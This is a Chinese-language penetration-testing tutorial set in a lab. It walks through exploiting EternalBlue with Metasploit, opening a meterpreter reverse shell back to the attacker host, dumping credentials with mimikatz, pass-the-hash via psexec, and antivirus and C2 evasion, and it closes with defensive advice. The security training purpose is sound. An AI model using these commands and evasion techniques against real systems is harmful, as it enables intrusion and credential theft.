0x01 收割内部网络的钥匙
某个晴朗的下午,我接到一项任务,要求在一个约定的环境中执行内部网络渗透测试。目标是模拟真实攻击者在突破外围防御后,如何进行内网横向移动。在这次测试中,我们利用了一个常见的内网漏洞——MS17-010(永恒之蓝)作为突破口。
MS17-010是一个经典的Windows SMBv1漏洞,允许攻击者在未授权的情况下远程执行代码。 我们的目标是一台运行Windows Server 2012的服务器,并且根据侦查,这台服务器上启用了SMBv1服务。

攻击原理
永恒之蓝利用了Windows SMBv1协议的漏洞,攻击者能够发送一个特制的SMB请求,导致内存溢出并执行任意代码。这个漏洞不仅能让我们直接在目标机器上获得代码执行权限,还能作为入口,进一步在内网中进行横向移动。
- 漏洞成因:SMBv1协议在处理特定请求时存在内存溢出,攻击者可以构造恶意数据包触发漏洞。
- 影响范围:包括Windows 7、Windows Server 2008/2012等多个版本。
- 利用价值:获取代码执行权限后,可以通过Dump Hash进行身份验证,或者使用内存执行技术进一步渗透。
我们的策略是利用MS17-010漏洞获取目标机器的初始访问权限,然后针对内网中可能存在的其他脆弱节点进行后续攻击。
实战环境搭建
为了真实模拟这次攻击,我们搭建了一个包含多台虚拟机的内网环境。其中,攻击机运行Kali Linux,目标机为Windows Server 2012,内网还包括其他几台Windows 7及Windows 10的工作站。
Kali Linux配置
在攻击机上,我们安装了Metasploit框架,这是一个强大的渗透测试工具包,提供了MS17-010的利用模块。确保Metasploit是最新版本,这样可以使用最新的攻击模块和技术手段。
Windows Server 2012配置
目标机模拟了一台典型的公司服务器,开放了常见的服务端口,包括SMB服务。为了还原漏洞环境,我们未对服务器打最新的补丁,确保SMBv1服务可被利用。
内网拓扑

除了目标机,内网还包含几台Windows工作站,模拟典型的企业网络结构。这些工作站在初始阶段并不直接暴露给攻击者,但可以通过横向移动技术进行攻击。
<pre><code>[Attacker: Kali Linux] | [Target: Windows Server 2012] -- [Windows 7 Workstation] | [Windows 10 Workstation]</code></pre>
逆袭代码执行:永恒之蓝EXP
现在我们来看看如何利用MS17-010漏洞获取目标机的控制权。使用Metasploit框架的exploit/windows/smb/ms17_010_eternalblue模块是我们的首选。
<pre><code class="language-shell"># 启动Metasploit msfconsole
使用MS17-010的永恒之蓝模块
use exploit/windows/smb/ms17_010_eternalblue
设置目标和Payload
set RHOSTS <目标IP> set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST <攻击机IP> set LPORT 4444
执行攻击
exploit</code></pre>
重要说明:本文中的所有技术仅用于授权环境下的合法安全测试,任何未经授权的攻击行为均为非法行为。
攻击流程
- 扫描目标:首先确认目标机的SMB服务端口是否开放,并且确定其版本信息。
- 模块配置:根据目标IP地址和攻击机的监听地址,配置Metasploit模块。
- 执行攻击:运行exploit命令,成功后我们应该会得到一个Meterpreter会话。
内网无声漫游
获得初始进入点后,接下来的任务是横向移动至内网中的其他机器。以下是几种常见的横向移动技术:
1. 凭据抓取与利用
在获得目标机的控制权后,第一步是提取内存中的明文凭据或Hash值。这可以通过Meterpreter中的hashdump或mimikatz模块实现。
<pre><code class="language-shell"># 在Meterpreter会话中加载mimikatz load mimikatz
获取所有用户凭据
mimikatz_command -f sekurlsa::logonPasswords</code></pre>
提取的凭据可以用于尝试连接其他内网机器,尤其是那些使用相同或弱密码策略的工作站。

2. Pass-the-Hash攻击
如果我们只获得了Hash值,可以利用Pass-the-Hash技术在内网中进行漫游。这种技术不需要明文密码,直接使用Hash进行身份验证。
<pre><code class="language-shell"># 使用psexec模块进行Pass-the-Hash攻击 use exploit/windows/smb/psexec set RHOSTS <内网目标IP> set SMBUser <目标用户名> set SMBPass <提取的Hash> set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST <攻击机IP> exploit</code></pre>
3. SMB Relay攻击
这是另一种常见的横向移动技术。它利用SMB协议的特性,在目标机器和攻击机之间劫持认证请求,实现未授权访问。
免杀与对抗艺术
在内网中漫游时,如何避开各种防御机制是关键。以下是一些实用的技术,帮助攻击者保持隐匿:
代码混淆与加壳
通过对Payload进行混淆,可以有效绕过大部分杀毒软件的静态分析。使用工具如Veil或自写混淆脚本,可以生成免杀载荷。
内存加载与无文件攻击
通过将Payload直接加载到内存中而非磁盘,能够极大减少被检测到的几率。技术如Reflective DLL Injection或Memory Module可以实现这一点。
C2流量伪装
在内网中使用HTTPS等常见协议进行C2通信,同时通过流量混淆技术,让通信流量看上去像正常的Web流量。
检测与防御
强烈建议企业及安全团队采取以下措施加强防御:
- 禁用SMBv1协议:通过禁用SMBv1协议,能够有效防止永恒之蓝等漏洞的利用。
- 应用最新补丁:定期更新操作系统补丁,修复潜在的安全漏洞。
- 增强网络监控:部署高级威胁监控系统,及时捕获异常流量和行为。
- 凭据管理:使用强密码策略,并定期更换密码。
经验分享:攻守之间
在这次内网渗透测试中,我们不仅体验了攻击者的思维和技巧,也深刻体会到防御的艺术。在攻防对抗中,最重要的是不断更新技术和知识储备,始终保持敏感性。
合法声明:本文的技术仅供授权安全测试使用,任何未经授权的攻击行为都是非法的。
希望通过这次分享,能为大家提供内网渗透的思路和技术参考。在攻防对抗的道路上,我们永远在路上,不断学习与进步。